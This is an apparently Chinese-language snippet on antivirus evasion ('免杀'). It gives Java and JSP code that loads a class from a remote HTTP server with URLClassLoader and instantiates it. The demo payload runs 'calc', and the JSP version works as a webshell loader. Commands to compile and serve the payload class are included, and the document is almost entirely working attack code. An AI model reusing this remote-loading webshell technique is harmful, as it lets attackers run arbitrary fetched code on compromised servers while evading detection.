免杀应用-类加载器
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
}
}
import java.io.IOException;
public class Run {
public Run() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
javac Run.java
python -m http.server 8888
<%@ page import="java.net.URL, java.net.URLClassLoader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
out.println("Class loaded and instantiated successfully.");
} catch (Exception e) {
out.println("Error: " + e.toString());
e.printStackTrace();
}
%>
免杀应用-Webshell